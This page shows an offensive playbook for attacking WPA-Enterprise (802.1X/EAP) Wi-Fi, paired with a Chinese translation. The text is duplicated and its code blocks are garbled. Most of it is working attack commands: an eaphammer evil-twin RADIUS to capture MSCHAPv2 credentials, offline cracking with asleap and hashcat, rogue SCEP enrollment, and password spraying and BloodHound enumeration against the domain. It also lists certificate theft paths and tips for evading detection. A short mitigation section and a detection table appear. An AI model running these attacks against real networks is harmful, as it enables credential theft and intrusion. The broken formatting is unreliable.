Back to Details

offensive-wpa-enterprise

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

WPA-Enterprise (802.1X / EAP) Attacks

WPA-Enterprise (802.1X / EAP) 攻击

Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
企业 Wi-Fi 将身份验证委托给 RADIUS 服务器——通常由 AD 提供后端支持。不存在 PSK。相反，攻击目标是 supplicant 对服务器证书的信任、内部 EAP 方法的密码学实现，或者证书签发路径。

Quick Workflow

快速工作流

  1. Identify EAP method from beacons + initial EAP-Request/Identity
  2. If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response
  3. If EAP-TLS: target the cert-issuance / cert-storage path (out of band)
  4. Crack captured MSCHAPv2 offline → AD username + password
  5. Pivot into the domain (see 
    offensive-active-directory
    and 
    offensive-network
    )
  1. 根据 beacons + 初始 EAP-Request/Identity 识别 EAP 方法
  2. 如果基于 MSCHAPv2（PEAP、TTLS）：使用 rogue RADIUS 捕获质询-响应
  3. 如果使用 EAP-TLS：以带外方式攻击证书签发 / 证书存储路径
  4. 离线破解捕获的 MSCHAPv2 → AD 用户名 + 密码
  5. 转入域环境（参见 
    offensive-active-directory
    和 
    offensive-network
    ）

EAP Method Identification

EAP 方法识别

bash
undefined
bash
undefined

Watch 802.1X exchange in monitor mode

Watch 802.1X exchange in monitor mode

sudo tshark -i wlan0mon -Y "eapol || eap" -V
sudo tshark -i wlan0mon -Y "eapol || eap" -V

Or capture and analyze

Or capture and analyze

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture

When client associates, read the EAP-Request/Identity and Type fields

When client associates, read the EAP-Request/Identity and Type fields

wireshark eap_capture-01.cap

| EAP Type | Identifier | Common Inner |
|---|---|---|
| 13 | EAP-TLS | Client + server certs |
| 17 | LEAP | (legacy, weak) |
| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |
| 25 | PEAP | MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) |
| 43 | EAP-FAST | MSCHAPv2 (PAC-protected) |
| 47 | EAP-PWD | (Dragonblood-class research target) |
wireshark eap_capture-01.cap

| EAP 类型 | 标识符 | 常见内部方法 |
|---|---|---|
| 13 | EAP-TLS | 客户端 + 服务器证书 |
| 17 | LEAP | （旧版，较弱） |
| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |
| 25 | PEAP | MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) |
| 43 | EAP-FAST | MSCHAPv2（PAC 保护） |
| 47 | EAP-PWD | （Dragonblood 类研究目标） |

Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)

Evil-Twin RADIUS（PEAP-MSCHAPv2 / TTLS-MSCHAPv2）

The most common attack path against corporate Wi-Fi.
bash
undefined
针对企业 Wi-Fi 最常见的攻击路径。
bash
undefined

eaphammer — automated rogue AP + RADIUS

eaphammer — automated rogue AP + RADIUS

eaphammer --cert-wizard # generate self-signed cert (first run) eaphammer -i wlan0
--essid CorpWiFi
--bssid AA:BB:CC:DD:EE:FF
--auth wpa-eap
--creds

When a client associates, eaphammer logs:
[] User: corp.local\jdoe [] Challenge: 1122334455667788 [*] Response: aabbccdd...

Crack offline:

```bash
eaphammer --cert-wizard # generate self-signed cert (first run) eaphammer -i wlan0
--essid CorpWiFi
--bssid AA:BB:CC:DD:EE:FF
--auth wpa-eap
--creds

客户端关联时，eaphammer 会记录：
[] User: corp.local\jdoe [] Challenge: 1122334455667788 [*] Response: aabbccdd...

离线破解：

```bash

asleap — designed for MSCHAPv2 challenge/response

asleap — designed for MSCHAPv2 challenge/response

asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt

Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)

Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)

hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (`crack.sh`) for guaranteed crack at moderate cost.
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

捕获的响应等效于 NetNTLMv1——可将其提交给彩虹表服务（`crack.sh`），以适中成本确保破解成功。

Why Evil-Twin Works

为什么 Evil-Twin 攻击有效

The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:
  • The CA chain on the RADIUS server certificate (most BYOD configurations)
  • The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)
Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.
Mitigation defenders should use:
  • Push GPO requiring server cert validation
  • Pin trusted CA + RADIUS server CN explicitly
  • For BYOD, enrollment via SCEP/Intune that locks supplicant settings
MSCHAPv2 内部交换在 supplicant 与（真实或伪造）RADIUS 服务器之间的 TLS 隧道中加密。如果 supplicant 未验证：
  • RADIUS 服务器证书的 CA 链（大多数 BYOD 配置均存在此问题）
  • RADIUS 服务器证书的 CN / SAN（即使启用了 CA 验证，通常也未强制执行）
那么自签名证书就会被接受，隧道会与攻击者建立，而 MSCHAPv2 将在隧道内进行。
防御方应采用的缓解措施：
  • 推送要求验证服务器证书的 GPO
  • 显式固定受信任 CA + RADIUS 服务器 CN
  • 对于 BYOD，通过 SCEP/Intune 注册并锁定 supplicant 设置

Supplicant Validation Bypass

Supplicant 验证绕过

Windows

Windows

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
Look at the deployed wireless profile XML. Critical fields:
xml
<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>
If 
ServerNames
is missing or wildcard'd, evil-twin will succeed.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
查看已部署的无线配置文件 XML。关键字段：
xml
<ServerValidation>
  <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
  <ServerNames>radius.corp.local</ServerNames>
  <TrustedRootCA>...thumbprint...</TrustedRootCA>
</ServerValidation>
如果 
ServerNames
缺失或使用通配符，Evil-Twin 攻击就会成功。

iOS / macOS / Android (BYOD)

iOS / macOS / Android（BYOD）

Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.
手动输入 → 用户通常会在首次连接时点击证书提示中的“Trust”，包括针对 Evil-Twin 证书。此后，supplicant 会按哈希信任攻击者证书。许多 BYOD 网络依赖这种接受行为，却没有控制信任锚。

EAP-TLS Targets

EAP-TLS 攻击目标

EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:
EAP-TLS 使用客户端证书而非密码——无法从网络流量中破解任何内容。攻击向量：

Cert Theft from User Profile

从用户配置中窃取证书

  • DPAPI master key + cert blob on Windows 
    • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
    • Decrypt with DPAPI master key (requires user logon context or master key)
  • macOS Keychain (login keychain) — local user access
  • Android KeyStore — root + Frida hooks (see 
    offensive-mobile
    )
  • iOS — Keychain item with appropriate access group entitlement
  • Windows 上的 DPAPI 主密钥 + 证书 blob 
    • %APPDATA%\Microsoft\SystemCertificates\My\Certificates\
    • 使用 DPAPI 主密钥解密（需要用户登录上下文或主密钥）
  • macOS Keychain（login keychain）— 本地用户访问权限
  • Android KeyStore — root 权限 + Frida hooks（参见 
    offensive-mobile
    ）
  • iOS — 拥有适当 access group entitlement 的 Keychain 项

NDES / SCEP Misconfig

NDES / SCEP 配置错误

If the network uses SCEP for cert provisioning:
bash
undefined
如果网络使用 SCEP 预配证书：
bash
undefined

Discover NDES endpoint (often /certsrv/mscep/mscep.dll)

Discover NDES endpoint (often /certsrv/mscep/mscep.dll)

curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll
curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

Enroll with stolen / weak challenge password

Enroll with stolen / weak challenge password

sscep enroll -c ca.crt -k client.key -r request.csr
-u http://ndes.corp.local/certsrv/mscep/mscep.dll
-l client.crt -E 3des -S sha1
undefined
sscep enroll -c ca.crt -k client.key -r request.csr
-u http://ndes.corp.local/certsrv/mscep/mscep.dll
-l client.crt -E 3des -S sha1
undefined

AD CS Auto-Enrollment with Permissive ACL

权限宽松的 AD CS 自动注册

Domain users with 
Enroll
permission on a Client Authentication template can mint their own certs. See 
offensive-active-directory
for ESC1-class attacks.
如果域用户对 Client Authentication 模板拥有 
Enroll
权限，就可以自行签发证书。有关 ESC1 类攻击，请参见 
offensive-active-directory
。

EAP-GTC

EAP-GTC

If GTC is offered (rare, often Cisco environments), the inner exchange is plain text. A successful evil-twin captures the password directly with no offline cracking needed. eaphammer captures GTC the same way as MSCHAPv2.
如果提供 GTC（较为少见，常见于 Cisco 环境），内部交换为明文。成功的 Evil-Twin 攻击会直接捕获密码，无需进行离线破解。eaphammer 捕获 GTC 的方式与 MSCHAPv2 相同。

Post-Crack Pivot

破解后转入其他目标

A cracked MSCHAPv2 yields 
corp.local\jdoe : Password123!
. From there:
bash
undefined
破解 MSCHAPv2 后可得到 
corp.local\jdoe : Password123!
。接下来：
bash
undefined

Validate against AD

Validate against AD

nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local
nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local

Spray against other systems

Spray against other systems

nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local
nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local

Initial AD enum

Initial AD enum

bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

Hand off to the AD attack chain (`offensive-active-directory`, `offensive-network`).
bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All

移交给 AD 攻击链（`offensive-active-directory`、`offensive-network`）。

Detection Considerations

检测考量

SignalDefender View
Rogue RADIUS server ESSIDWIPS rule: AP impersonation by ESSID/BSSID delta
Repeated MSCHAPv2 failuresRADIUS log: increased auth failures from one supplicant
Cert mismatch failuresModern Windows endpoints log to Event Viewer (Wi-Fi 11005)
Captured user complaintUsers may report a "weird Wi-Fi prompt" — most don't
To minimize: match the legitimate AP's BSSID exactly (spoofed MAC), use a CA-signed cert that mimics the real RADIUS CN if you can obtain one, time the attack during known disruption windows (lunch / start of day) to blend with reconnections.
信号防御方视角
伪造 RADIUS 服务器 ESSIDWIPS 规则：通过 ESSID/BSSID 差异检测 AP 冒充
重复的 MSCHAPv2 失败RADIUS 日志：来自单个 supplicant 的认证失败次数增加
证书不匹配失败现代 Windows 终端会记录到 Event Viewer（Wi-Fi 11005）
发现用户投诉用户可能反馈“奇怪的 Wi-Fi 提示”，但大多数用户不会报告
为尽量降低被发现的概率：精确匹配合法 AP 的 BSSID（伪造 MAC），使用模仿真实 RADIUS CN 的 CA 签名证书（如果能够获得），并在已知服务中断时段（午餐 / 一天开始时）实施攻击，以混入正常的重连流量。

Engagement Cheatsheet

测试速查表

bash
undefined
bash
undefined

1. Identify EAP method

1. Identify EAP method

sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"
sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"

2. Run eaphammer evil twin

2. Run eaphammer evil twin

eaphammer --cert-wizard eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds
eaphammer --cert-wizard eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds

3. As clients connect, capture MSCHAPv2 challenges

3. As clients connect, capture MSCHAPv2 challenges

Watch eaphammer console for User/Challenge/Response

Watch eaphammer console for User/Challenge/Response

4. Crack offline

4. Crack offline

hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule

Or asleap -C <chal> -R <resp> -W wordlist

Or asleap -C <chal> -R <resp> -W wordlist

5. Validate creds against domain

5. Validate creds against domain

nxc smb <dc> -u <user> -p <pass> -d <domain>
nxc smb <dc> -u <user> -p <pass> -d <domain>

6. Hand off to AD chain

6. Hand off to AD chain


---

---

Key References

主要参考资料